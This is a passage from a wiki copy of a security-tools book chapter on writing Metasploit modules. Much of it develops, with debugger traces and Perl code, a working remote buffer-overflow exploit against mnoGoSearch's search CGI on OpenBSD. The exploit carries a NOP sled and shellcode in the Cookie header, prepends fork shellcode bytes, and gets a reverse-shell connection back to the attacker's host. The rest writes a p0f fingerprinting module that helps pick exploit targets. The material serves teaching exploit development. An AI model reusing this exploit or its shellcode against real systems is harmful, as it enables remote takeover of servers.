 0x53e2 in PrintOption (Agent=0x6c613e22, Target=0x6573206c &amp;lt;Error reading address 0x6573206c: Invalid argument&amp;gt;, &lt;br /&gt;
     where=1869182051, option=0xa736e &amp;lt;Error reading address 0xa736e: Invalid argument&amp;gt;) at search.c:1154&lt;br /&gt;
 1154                    sprintf(UDM_STREND(Target),&amp;quot;&amp;lt;OPTION VALUE=\&amp;quot;%s\&amp;quot;%s&amp;gt;&amp;quot;,tag.value,&lt;br /&gt;
 (gdb) x/x 0xdfbf83c8&lt;br /&gt;
 '''0xdfbf83c8:     0x34333231   #the sEIP appears to have been overwritten as indented'''&lt;br /&gt;
 (gdb) x/s Target&lt;br /&gt;
 0x6573206c:     Error accessing memory address 0x6573206c: Invalid argument.&lt;br /&gt;
 (gdb) '''x/s &amp;amp;Target'''&lt;br /&gt;
                   '''0xdfbf83d0:      &amp;quot;l sections\n'''&amp;quot;&lt;br /&gt;
&lt;br /&gt;
It seems the &amp;lt;tt&amp;gt;Target&amp;lt;/tt&amp;gt; parameter is being overwritten by a string we didn't specify. Examining the source code reveals that it is being appended in &amp;lt;tt&amp;gt;PrintOneTemplate()&amp;lt;/tt&amp;gt;. This presents a common problem in exploit development: how to reach the function return if a call within that function crashes as a result of modifying other local variables during our overflow attempt. The solution to this common problem is memory patching. If &amp;lt;tt&amp;gt;sprintf( )&amp;lt;/tt&amp;gt; needs &amp;lt;tt&amp;gt;Target&amp;lt;/tt&amp;gt; to be a valid pointer, give it what it needs to work. This same type of problem also occurs on line 1156, as was noticed on the first test run. Because of how the variables and parameters are ordered on the stack, it is necessary to patch all function parameters for a reliable exploit.&lt;br /&gt;
&lt;br /&gt;
Examining the mapped memory, we look for a range that is mapped so that we can point our parameters there. Any arbitrary valid memory location that can be written to without a segmentation fault will do, so choose one, modify the exploit's request, and trace again:&lt;br /&gt;
&lt;br /&gt;
         my $ptr = 0xdfbf6f6f;&lt;br /&gt;
         my $request = &amp;quot;GET $uri?q=abc&amp;amp;wf=&amp;quot;         .&lt;br /&gt;
             Pex::Text::PatternCreate(5126)         .&lt;br /&gt;
             &amp;quot;1234&amp;quot;                              .              #seip&lt;br /&gt;
             $ptr x2                                        .              #(Agent, Target,&lt;br /&gt;
             pack(&amp;quot;V&amp;quot;,0x01020304)                          .              #where,&lt;br /&gt;
             $ptr                                                .        #option)&lt;br /&gt;
             &amp;quot; HTTP/1.0\r\n\r\n&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
Back to the debugger on the server...&lt;br /&gt;
&lt;br /&gt;
 Saved registers:&lt;br /&gt;
   ebx at 0xdfbf70ac, ebp at 0xdfbf84f4, esi at 0xdfbf70b0, edi at 0xdfbf70b4, '''eip at 0xdfbf84f8'''&lt;br /&gt;
 (gdb) x/16x &amp;amp;tag&lt;br /&gt;
 0xdfbf84d0:     0x00086930      0x00000000      0x00000000      0x00000000&lt;br /&gt;
 0xdfbf84e0:     0x00086940      0x00084000      0x00000000      0x00000000&lt;br /&gt;
 0xdfbf84f0:     0x00000000      0x6f47376f      0x34333231      0xdfbf6f6f&lt;br /&gt;
 0xdfbf8500:     0xdfbf6f6f      0x01020304      0xdfbf6f6f      0x6c613e22&lt;br /&gt;
 '''(gdb)''' x/x 0xdfbf84f8&lt;br /&gt;
 0xdfbf84f8:     0x34333231&lt;br /&gt;
 (gdb) c&lt;br /&gt;
 Continuing.&lt;br /&gt;
 &lt;br /&gt;
 Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt;
 0x34333231 in ?? ( )&lt;br /&gt;
 (gdb) info registers eip&lt;br /&gt;
 eip            0x34333231       0x34333231&lt;br /&gt;
&lt;br /&gt;
And that is what we're looking for: a segmentation fault on an EIP that was explicitly controlled. At this point the offset to overwrite sEIP has been reached, and some simple memory patching was done to get the function to return to a specified EIP (in this case, the dummy value &amp;lt;tt&amp;gt;1234&amp;lt;/tt&amp;gt; was used). The final step to complete our exploit is to place the payload somewhere in memory and to use a memory location in a NOP sled to reach the shellcode. It should be noted that &amp;lt;tt&amp;gt;UdmParseTag( )&amp;lt;/tt&amp;gt; modifies the &amp;lt;tt&amp;gt;tmp&amp;lt;/tt&amp;gt; buffer after the overflow point, so you shouldn't use that. A better option is to use the environment variables that get passed to the CGI because their location is fairly consistent. By setting the HTTP cookie header to a large value and doing another trace, you can locate the &amp;lt;tt&amp;gt;HTTP_COOKIE&amp;lt;/tt&amp;gt; environment variable. On this system &amp;lt;tt&amp;gt;HTTP_COOKIE&amp;lt;/tt&amp;gt; started at &amp;lt;tt&amp;gt;0xdfbfa28d&amp;lt;/tt&amp;gt;, so we'll use a large NOP sled of about 4KB and find a return address to hit it. Any return value that falls within the range will work. In this case, &amp;lt;tt&amp;gt;0xdfbfadcd&amp;lt;/tt&amp;gt; was chosen as the return address to overwrite the sEIP and to take control of process execution flow.&lt;br /&gt;
&lt;br /&gt;
With this new information the &amp;lt;tt&amp;gt;Exploit( )&amp;lt;/tt&amp;gt; method should be modified appropriately. Also, add a target to the exploit so that a user can choose the memory patch pointer and return address:&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
        'Targets'       =&amp;gt;&lt;br /&gt;
                 [&lt;br /&gt;
                         # Name              Ret         Patch pointer&lt;br /&gt;
                         [ 'OpenBSD/3.1',    0xdfbfadcd, 0xdfbf6f6f ]&lt;br /&gt;
                 ],&lt;br /&gt;
 ...&lt;br /&gt;
 sub Exploit&lt;br /&gt;
 {&lt;br /&gt;
 ...&lt;br /&gt;
         my $targetIdx   = $self-&amp;gt;GetVar('TARGET');&lt;br /&gt;
         my $payload     = $self-&amp;gt;GetVar('EncodedPayload');&lt;br /&gt;
         my $rp          = $payload-&amp;gt;RawPayload;&lt;br /&gt;
         my $target      = $self-&amp;gt;Targets-&amp;gt;[$targetIdx];&lt;br /&gt;
         my $ret         = $target-&amp;gt;[1];&lt;br /&gt;
         my $ptr         = pack(&amp;quot;V&amp;quot;,$target-&amp;gt;[2]);&lt;br /&gt;
 &lt;br /&gt;
         $self-&amp;gt;PrintLine('[*] Trying exploit target ' . $target-&amp;gt;[0]);&lt;br /&gt;
 ...&lt;br /&gt;
 #we'll change the end of the request to add a cookie header with our shellcode&lt;br /&gt;
             &amp;quot; HTTP/1.0\r\n&amp;quot;         .&lt;br /&gt;
             &amp;quot;Cookie: &amp;quot; . &amp;quot;\x90&amp;quot;x4000 . $rp . &amp;quot;\r\n\r\n&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
Now test it out in ''msfconsole'' using the &amp;lt;tt&amp;gt;bsdx86_reverse&amp;lt;/tt&amp;gt; payload:&lt;br /&gt;
&lt;br /&gt;
 msf mnogosearch_wf(bsdx86_reverse) &amp;gt; show options&lt;br /&gt;
 &lt;br /&gt;
 Exploit and Payload Options&lt;br /&gt;
 ===========================&lt;br /&gt;
 &lt;br /&gt;
   Exploit:    Name      Default          Description&lt;br /&gt;
   --------    ------    -------------    ------------------------------&lt;br /&gt;
   optional    SSL       0                Use SSL&lt;br /&gt;
   required    RPORT     80               The target HTTP server port&lt;br /&gt;
   required    URI       /cgi-bin/search.cgi      The target CGI URI&lt;br /&gt;
   required    RHOST     192.168.2.142    The target HTTP server address&lt;br /&gt;
 &lt;br /&gt;
   Payload:    Name      Default          Description&lt;br /&gt;
   --------    ------    -------------    -----------------------------------&lt;br /&gt;
   required    LPORT     9999             Local port to receive connection&lt;br /&gt;
   required    LHOST     192.168.2.132    Local address to receive connection&lt;br /&gt;
 &lt;br /&gt;
   Target: OpenBSD/3.1&lt;br /&gt;
 &lt;br /&gt;
 msf mnogosearch_wf(bsdx86_reverse) &amp;gt; exploit&lt;br /&gt;
 [*] Starting Reverse Handler.&lt;br /&gt;
 [*] Trying exploit target OpenBSD/3.1&lt;br /&gt;
 [*] Got connection from 192.168.2.142:17664&lt;br /&gt;
 &lt;br /&gt;
 msf mnogosearch_wf(bsdx86_reverse) &amp;gt;&lt;br /&gt;
&lt;br /&gt;
It appears to have worked, but the connection dropped as soon as it was received. Sniffing the traffic on the wire reveals that the shellcode was executing and we did in fact get a connection back, but it seems the connection was torn down and the process was killed. To get to the root of this problem, let's think about the way CGIs usually work: the web server spawns the CGI process using &amp;lt;tt&amp;gt;fork( )&amp;lt;/tt&amp;gt; , then waits for a timeout, at which point it kills the child process. To avoid this, we spawn a new process and split from the CGI process using the &amp;lt;tt&amp;gt;fork( )&amp;lt;/tt&amp;gt; system call before our shellcode executes. Here's one way we can do this for OpenBSD:&lt;br /&gt;
&lt;br /&gt;
 xorl    %eax,%eax&lt;br /&gt;
 movb    $0x2,%al&lt;br /&gt;
 pushl   %eax&lt;br /&gt;
 int     $0x80&lt;br /&gt;
 add     $0x4,%esp&lt;br /&gt;
 test    %edx,%edx&lt;br /&gt;
 je      $0x0d      ;original process ends&lt;br /&gt;
&lt;br /&gt;
You should prepend the opcodes for this assembly routine to the payload by overriding the &amp;lt;tt&amp;gt;PayloadPrepend()&amp;lt;/tt&amp;gt; method of the &amp;lt;tt&amp;gt;Msf::Exploit&amp;lt;/tt&amp;gt; class. Now, as the module executes, MSF will automatically call this method and prepend the forking code before it encodes the shellcode. To support variable encoders and NOP generators, change the HTTP request to use an MSF-generated full payload that includes a NOP sled, decoding stub, and encoded shellcode. Now, everything should come together, and as you can see in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Modules for the Metasploit Framework#networkst-CHP-5-FIG-6|Figure 5-6]], our work pays off with a fully working remote exploit:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-5-FIG-6&amp;quot;&amp;gt;&lt;br /&gt;
'''Figure 5-6. A sample run of the completed working module'''&lt;br /&gt;
&lt;br /&gt;
[[Image:Network Security Tools_I_5_tt249.png|A sample run of the completed working module]]&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 sub PayloadPrepend{&lt;br /&gt;
         my $self = shift;&lt;br /&gt;
         return &amp;quot;\x31\xc0\xb0\x02\x50\xcd\x80\x83\xc4\x04\x85\xd2\x74\x0d&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 Exploit&lt;br /&gt;
 {&lt;br /&gt;
         my $payload     = $self-&amp;gt;GetVar('EncodedPayload');&lt;br /&gt;
         my $fullpayload         = $payload-&amp;gt;Payload;&lt;br /&gt;
 ...&lt;br /&gt;
 #change the end of request to use a full payload now&lt;br /&gt;
          &amp;quot;Cookie: &amp;quot; . $fullpayload . &amp;quot;\r\n&amp;quot; .&lt;br /&gt;
          &amp;quot;\r\n\r\n&amp;quot;);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
== Writing an Operating System Fingerprinting Module for MSF ==&lt;br /&gt;
&lt;br /&gt;
Assuming an exploit works, the key factors for successful exploitation are the &amp;lt;tt&amp;gt;PAYLOAD&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;TARGET&amp;lt;/tt&amp;gt; settings. If the target host is behind a well-configured firewall, a bind socket payload won't allow you to access the host. Also, if you don't know the remote operating system, using an OS-specific target is useless; a return address for Windows NT typically won't work against a Windows XP machine.&lt;br /&gt;
&lt;br /&gt;
Usually the application level can aid in the targeting process. For instance, if an HTTP request returns &amp;lt;tt&amp;gt;Apache/1.3.22&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;(Win32)&amp;lt;/tt&amp;gt;, you probably aren't using FreeBSD targets. But what if the service yields no obvious clue regarding its underlying operating system? In this case we would use a technique called ''operating system fingerprinting'' to narrow the scope of possible targets and increase the likelihood of success. This is vital for so-called &amp;quot;one-shot&amp;quot; exploits in which the service crashes or becomes unexploitable after failed attempts.&lt;br /&gt;
&lt;br /&gt;
=== Operating System Fingerprinting and p0f ===&lt;br /&gt;
&lt;br /&gt;
When we talk about operating system fingerprinting we're really talking about identifying a remote operating system based on the characteristics of its TCP/IP network stack. Due to differences in the way developers implement networking stacks, typically, unique identifiers within the packets transmitted by a host will allow for comparison based on known signatures.&lt;br /&gt;
&lt;br /&gt;
Two general techniques are used to profile a networking stack for known signature comparison: active and passive. ''Active fingerprinting'' requires network interaction with the target host by sending out a probe and then looking for packet settings or flags that differ in the response. For example, if I were to send a packet to an open port with the &amp;lt;tt&amp;gt;ACK TCP&amp;lt;/tt&amp;gt; flag set, and then I received a response packet from the host with a window size of 4,000, the DF bit set, the &amp;lt;tt&amp;gt;RST&amp;lt;/tt&amp;gt; flag set, and the sequence number unsynced with the one sent, I could search through a list of known behaviors from this type of probe and establish that this likely is the Mac OS 8.6 operating system. Of course, this requires that a huge database of known stack signatures be compiled beforehand. Nmap by Fyodor (''http://www.insecure.org/nmap/'') is one of the best active fingerprinting tools in the field; it uses a variety of probes and has a signature database with thousands of entries.&lt;br /&gt;
&lt;br /&gt;
''Passive fingerprinting'' doesn't require special probes. Passive fingerprinting observes normal network traffic, but uses the same difference analysis techniques as active fingerprinting to take a best guess at what the OS is. Passive fingerprinting is useful in situations where stealth is a high priority or where we have access to all network traffic, such as a compromised router, a wireless network, or a hubbed network. ''p0f''by Michal Zalewski (''http://lcamtuf.coredump.cx/p0f.shtml'') is a program that implements passive signature-matching techniques very effectively. ''p0f'' uses 15 different analysis techniques to determine the operating system and other valuable information, such as uptime, network link type, and firewall/NAT presence.&lt;br /&gt;
&lt;br /&gt;
This described functionality fills our need for better targeting and payload settings, so let's write an MSF module for it. One way to do this is to launch ''p0f'' and process its text output; however, this would provide inconsistent results, as the ''p0f'' display format varies based on the command-line options used. Fortunately, ''p0f''provides an interface for querying its connection cache via traditional Unix sockets. This simple interface is outlined in the ''p0f-query.c'' file that comes in the latest version of the ''p0f'' source. The examples in this chapter use ''p0f'' Version 2.0.4.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;warning&amp;quot;&amp;gt;&lt;br /&gt;
'''Warning'''&lt;br /&gt;
&lt;br /&gt;
The Microsoft family of operating systems does not fully support Unix sockets, so this functionality in ''p0f'' will not work on Windows operating systems.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Setting Up and Modifying p0f ===&lt;br /&gt;
&lt;br /&gt;
When setting up ''p0f'' , you should use options that set up the Unix socket and specific SYN/ACK mode. The &amp;lt;tt&amp;gt;A&amp;lt;/tt&amp;gt; option places the program in SYN/ACK mode, the &amp;lt;tt&amp;gt;O&amp;lt;/tt&amp;gt; option indicates that the Unix socket interface will be used, and &amp;lt;tt&amp;gt;~/socket&amp;lt;/tt&amp;gt; is given as the name of the socket. This mode will fingerprint systems we connect to, as opposed to the default, which fingerprints systems that connect to us. After launching ''p0f'', do a basic HTTP request so that ''p0f'' has some packets to fingerprint:&lt;br /&gt;
&lt;br /&gt;
 $p0f -qlAQ ~/socket&lt;br /&gt;
 192.168.0.100:80 - Linux recent 2.4 (1) (up: 210 hrs) -&amp;gt; 192.168.0.109:9818 (distance 1, link: pppoe (DSL))&lt;br /&gt;
&lt;br /&gt;
Leave that process running in a shell and then, in a separate shell, use the ''p0fq'' example tool to query the socket for the specific connection:&lt;br /&gt;
&lt;br /&gt;
 $./p0fq ../sock 192.168.0.100 80 192.168.0.109 9818&lt;br /&gt;
 Genre    : Linux&lt;br /&gt;
 Details  : recent 2.4 (1)&lt;br /&gt;
 Distance : 1 hops&lt;br /&gt;
 Link     : pppoe (DSL)&lt;br /&gt;
 Uptime   : 210 hrs&lt;br /&gt;
&lt;br /&gt;
This appears to be working, but specifying source and destination ports is too cumbersome. Let's write a small patch to ''p0f'' to make it easier on the user. The following patch is against ''p0f'' Version 2.0.4. You can apply it with the &amp;lt;tt&amp;gt;patch&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;-p0&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;&amp;lt;&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;p0f-2.0.4-msf.patch&amp;lt;/tt&amp;gt; command:&lt;br /&gt;
&lt;br /&gt;
 --- p0f-query.org.c     Fri Jan  3 18:19:58 2004&lt;br /&gt;
 +++ p0f-query.c Fri Jan  3 19:09:46 2004&lt;br /&gt;
 @@ -122,6 +122,14 @@&lt;br /&gt;
          send(sock,n,sizeof(struct p0f_response),MSG_NOSIGNAL);&lt;br /&gt;
          return;&lt;br /&gt;
 &lt;br /&gt;
 +    }else if((cur-&amp;gt;sad == q-&amp;gt;src_ad) &amp;amp;&amp;amp; (cur-&amp;gt;dad == q-&amp;gt;dst_ad) &amp;amp;&amp;amp;&lt;br /&gt;
 +              (q-&amp;gt;src_port == NULL) &amp;amp;&amp;amp; (q-&amp;gt;dst_port == NULL)){&lt;br /&gt;
 +       struct p0f_response* n = &amp;amp;cur-&amp;gt;s;&lt;br /&gt;
 +        n-&amp;gt;magic = QUERY_MAGIC;&lt;br /&gt;
 +        n-&amp;gt;type  = RESP_OK;&lt;br /&gt;
 +        n-&amp;gt;id    = q-&amp;gt;id;&lt;br /&gt;
 +        send(sock,n,sizeof(struct p0f_response),MSG_NOSIGNAL);&lt;br /&gt;
 +        return;&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
This patch adds a &amp;quot;search mode&amp;quot; that allows us to search the cache by the source and destination IP addresses only (both of the ports will be &amp;lt;tt&amp;gt;NULL&amp;lt;/tt&amp;gt;). This selects the first hit in the cache for interaction between the source and destination IP addresses.&lt;br /&gt;
&lt;br /&gt;
=== Writing the p0f_socket Module ===&lt;br /&gt;
&lt;br /&gt;
Now, to write the module itself, first determine what MSF options a user would need to set. The query needs the host to fingerprint and the source IP address that makes the connection—that is, our IP address. For the target IP address, use &amp;lt;tt&amp;gt;RHOST&amp;lt;/tt&amp;gt; as a user option. The source IP address can be autodetected via a method from &amp;lt;tt&amp;gt;Pex::Utils&amp;lt;/tt&amp;gt;, but we'll leave it as an advanced option named &amp;lt;tt&amp;gt;SourceIP&amp;lt;/tt&amp;gt; just in case a user wants to specify it. After ''p0f'' is launched with the -&amp;lt;tt&amp;gt;Q&amp;lt;/tt&amp;gt; option, it creates a socket file on the filesystem. The &amp;lt;tt&amp;gt;SOCK&amp;lt;/tt&amp;gt; user option allows a user to specify the path to the socket file. A nice feature would be an &amp;quot;active&amp;quot; mode in which the module initiates a remote connection to an open port. To enable this, add an &amp;lt;tt&amp;gt;ACTIVE&amp;lt;/tt&amp;gt; Boolean user option that will toggle the functionality, as well as an &amp;lt;tt&amp;gt;RPORT&amp;lt;/tt&amp;gt; user option that should be a known open port. Now, if a user chooses passive mode, the module will have to wait for a connection to appear in the cache. In that case we'll assume the connection will appear close to the time the user executes the module, so we'll use an advanced option named &amp;lt;tt&amp;gt;Timeout&amp;lt;/tt&amp;gt; with a default value of 30 seconds to wait for the connection to appear in the cache.&lt;br /&gt;
&lt;br /&gt;
Our &amp;lt;tt&amp;gt;Exploit( )&amp;lt;/tt&amp;gt; method's logic flow is pretty simple. First, it determines whether a user wants active or passive mode. In active mode it makes a connection, and then it makes a query to the &amp;lt;tt&amp;gt;p0f&amp;lt;/tt&amp;gt; socket. If it doesn't get a response, it will wait in the hope that a connection will exist in the cache before the timeout. You can implement this as shown here using the previously discussed user options:&lt;br /&gt;
&lt;br /&gt;
 sub Exploit {&lt;br /&gt;
     my $self = shift;&lt;br /&gt;
     my $target = $self-&amp;gt;GetVar('RHOST');&lt;br /&gt;
     my $port = $self-&amp;gt;GetVar('RPORT');&lt;br /&gt;
     my $active_mode = $self-&amp;gt;GetVar('ACTIVE');&lt;br /&gt;
     my $timeout = int($self-&amp;gt;GetLocal('Timeout'));&lt;br /&gt;
&lt;br /&gt;
After loading some MSF user options the method checks for &amp;lt;tt&amp;gt;Active&amp;lt;/tt&amp;gt; mode, which simply initiates a TCP connection so that ''p0f'' can fingerprint the SYN/ACK from the target and add the connection to its cache:&lt;br /&gt;
&lt;br /&gt;
     if($active_mode){ # &amp;quot;Active&amp;quot; mode&lt;br /&gt;
         my $s = Msf::Socket::Tcp-&amp;gt;new&lt;br /&gt;
         (&lt;br /&gt;
             'PeerAddr' =&amp;gt; $target,&lt;br /&gt;
             'PeerPort' =&amp;gt; $port&lt;br /&gt;
         );&lt;br /&gt;
 &lt;br /&gt;
         if ($s-&amp;gt;IsError){&lt;br /&gt;
             $self-&amp;gt;PrintLine('[*] Error creating TCP socket in active mode: '&lt;br /&gt;
                             . $s-&amp;gt;GetError);&lt;br /&gt;
             return;&lt;br /&gt;
         }else{&lt;br /&gt;
             #the connection is made, a cache entry should have been added&lt;br /&gt;
             goto doQuery;&lt;br /&gt;
         }&lt;br /&gt;
         $s-&amp;gt;Close( );&lt;br /&gt;
     }&lt;br /&gt;
&lt;br /&gt;
At this point a connection should exist in the &amp;lt;tt&amp;gt;p0f&amp;lt;/tt&amp;gt; cache, so the method tries to query the socket using &amp;lt;tt&amp;gt;Query( )&amp;lt;/tt&amp;gt;, and if it encounters errors it waits until the timeout to try again before giving up:&lt;br /&gt;
&lt;br /&gt;
     doQuery:&lt;br /&gt;
     if($self-&amp;gt;Query($target) &amp;lt; 0){&lt;br /&gt;
         $self-&amp;gt;PrintLine(&amp;quot;[*] Inital p0f query unsuccessful, sleeping &amp;quot;.&lt;br /&gt;
         $timeout .&amp;quot; seconds&amp;quot;);&lt;br /&gt;
         for(1 .. $timeout){ print &amp;quot;.&amp;quot;; sleep(1);}print &amp;quot;\n&amp;quot;;&lt;br /&gt;
         if($self-&amp;gt;Query($target) &amp;lt; 0){&lt;br /&gt;
             $self-&amp;gt;PrintLine(&amp;quot;[*] All p0f queries unsuccessful.&amp;quot;.&lt;br /&gt;
             &amp;quot;Make sure that:\n&amp;quot;.&lt;br /&gt;
             &amp;quot;-p0f is setup correctly(-Q and -A, binding interface, etc.)\n&amp;quot;.&lt;br /&gt;
             &amp;quot;-if using passive mode(default) it is up to you to get a connection\n&amp;quot;.&lt;br /&gt;
             &amp;quot; entry into the p0f cache, use active mode if you want to make things&lt;br /&gt;
                 easier\n&amp;quot;.&lt;br /&gt;
             &amp;quot;-if using active mode make sure RPORT is set to an open TCP port on the&lt;br /&gt;
                 target\n&amp;quot;);&lt;br /&gt;
         }&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
     return;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
The final piece to complete this module is the &amp;lt;tt&amp;gt;Query()&amp;lt;/tt&amp;gt; method. To correctly format the &amp;lt;tt&amp;gt;p0f&amp;lt;/tt&amp;gt; query and parse the response, use the format of the structure defined in ''p0f-query.h''. If errors crop up while making and parsing the query, display an appropriate error message and return a negative error code so that &amp;lt;tt&amp;gt;Exploit( )&amp;lt;/tt&amp;gt; can act accordingly:&lt;br /&gt;
&lt;br /&gt;
 sub Query {&lt;br /&gt;
     my $self = shift;&lt;br /&gt;
     my $target = shift;&lt;br /&gt;
     my $unixsock = $self-&amp;gt;GetVar('SOCK');&lt;br /&gt;
     my $QUERY_MAGIC = 0x0defaced;&lt;br /&gt;
     my $qid = int rand(0xffffffff);&lt;br /&gt;
     my $src = inet_aton($target);&lt;br /&gt;
     my $dst;&lt;br /&gt;
&lt;br /&gt;
After loading up some variables and parameters set up the query and send it to the socket. Note that this code uses the source and destination port values of &amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt; due to our patch to ''p0f'':&lt;br /&gt;
&lt;br /&gt;
     unless($src){&lt;br /&gt;
         $self-&amp;gt;PrintLine(&amp;quot;Cannot resolve $target&amp;quot;);&lt;br /&gt;
         return -1;&lt;br /&gt;
     }&lt;br /&gt;
     if($self-&amp;gt;GetLocal('SourceIP') eq &amp;quot;auto-detect&amp;quot;){&lt;br /&gt;
         $dst = inet_aton(Pex::Utils::SourceIP( ));&lt;br /&gt;
     }else{&lt;br /&gt;
         $dst = inet_aton($self-&amp;gt;GetLocal('SourceIP'));&lt;br /&gt;
     }&lt;br /&gt;
     my $query = pack(&amp;quot;L L&amp;quot;, $QUERY_MAGIC, $qid) .&lt;br /&gt;
                  $src . $dst . pack(&amp;quot;S&amp;quot;, 0)x2;&lt;br /&gt;
 &lt;br /&gt;
     my $sock = new IO::Socket::UNIX (Peer =&amp;gt; $unixsock,&lt;br /&gt;
                                  Type =&amp;gt; SOCK_STREAM);&lt;br /&gt;
     unless($sock){&lt;br /&gt;
         $self-&amp;gt;PrintLine(&amp;quot;Could not create UNIX socket: $!&amp;quot;);&lt;br /&gt;
         return -2;&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
     # Send the request, receive response stucture&lt;br /&gt;
     print $sock $query;&lt;br /&gt;
     my $response = &amp;lt;$sock&amp;gt;;&lt;br /&gt;
     close $sock;&lt;br /&gt;
&lt;br /&gt;
Assuming a response was received from the socket, unpack the response and do some error checking to make sure everything is satisfactory before it is displayed:&lt;br /&gt;
&lt;br /&gt;
     # Break out the response vars&lt;br /&gt;
     my ($magic, $id, $type, $genre,&lt;br /&gt;
         $detail, $dist, $link, $tos,&lt;br /&gt;
         $fw, $nat, $real, $score,&lt;br /&gt;
         $mflags, $uptime) = unpack (&amp;quot;L L C Z20 Z40 c Z30 Z30 C C C s S N&amp;quot;, $response);&lt;br /&gt;
 &lt;br /&gt;
     # Error checking&lt;br /&gt;
     if($magic != $QUERY_MAGIC){&lt;br /&gt;
         $self-&amp;gt;PrintLine(&amp;quot;Bad response magic&amp;quot;);&lt;br /&gt;
         return -3;&lt;br /&gt;
     }elsif(int($id) != int($qid)){&lt;br /&gt;
         $self-&amp;gt;PrintLine(sprintf(&amp;quot;Wrong query id: 0x%08x != 0x%08x&amp;quot;, $id, $qid));&lt;br /&gt;
         return -4;&lt;br /&gt;
     }elsif($type == 1){&lt;br /&gt;
         $self-&amp;gt;PrintLine(&amp;quot;P0f did not honor our query.&amp;quot;);&lt;br /&gt;
         return -5;&lt;br /&gt;
     }elsif($type == 2){&lt;br /&gt;
         $self-&amp;gt;PrintLine(&amp;quot;This connection is not (no longer?) in p0f's cache.&amp;quot;);&lt;br /&gt;
         return -6;&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
     # Display result&lt;br /&gt;
     if( !$genre ){&lt;br /&gt;
         $self-&amp;gt;PrintLine(&amp;quot;Genre and details unknown&amp;quot;);&lt;br /&gt;
     }else{&lt;br /&gt;
         $self-&amp;gt;PrintLine(&amp;quot;Genre    : &amp;quot; . $genre . &amp;quot;\n&amp;quot;.&lt;br /&gt;
                         &amp;quot;Details  : &amp;quot; . $detail);&lt;br /&gt;
         $self-&amp;gt;PrintLine(&amp;quot;Distance : &amp;quot; . $dist) unless ($dist == -1);&lt;br /&gt;
     }&lt;br /&gt;
     $self-&amp;gt;PrintLine(&amp;quot;Link     : &amp;quot; . $link . &amp;quot;\n&amp;quot;.&lt;br /&gt;
                      &amp;quot;Service  : &amp;quot; . $tos . &amp;quot;&amp;quot;);&lt;br /&gt;
     $self-&amp;gt;PrintLine(&amp;quot;Uptime   : &amp;quot; . $uptime . &amp;quot; hrs&amp;quot;) unless ($uptime == -1);&lt;br /&gt;
     $self-&amp;gt;PrintLine(&amp;quot;The host appears to be behind a NAT&amp;quot;) if $nat;&lt;br /&gt;
     $self-&amp;gt;PrintLine(&amp;quot;The host appears to be behind a Firewall&amp;quot;) if $fw;&lt;br /&gt;
 &lt;br /&gt;
     return 0;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
When we are done we'll put the module into the ''~/.msf/exploits/'' directory, populate the &amp;lt;tt&amp;gt;%info&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;%advanced&amp;lt;/tt&amp;gt; hashes with some metadata, and launch ''msfconsole'' to test it out. [[Network Security Tools/Modifying and Hacking Security Tools/Writing Modules for the Metasploit Framework#networkst-CHP-5-FIG-7|Figure 5-7]] shows an example of how the &amp;lt;tt&amp;gt;p0f_socket&amp;lt;/tt&amp;gt; module works.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-5-FIG-7&amp;quot;&amp;gt;&lt;br /&gt;
'''Figure 5-7. The p0f_socket module in action'''&lt;br /&gt;
&lt;br /&gt;
[[Image:Network Security Tools_I_5_tt260.png|The p0f_socket module in action]]&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>Docbook2Wiki</name></author>	</entry>

	</feed>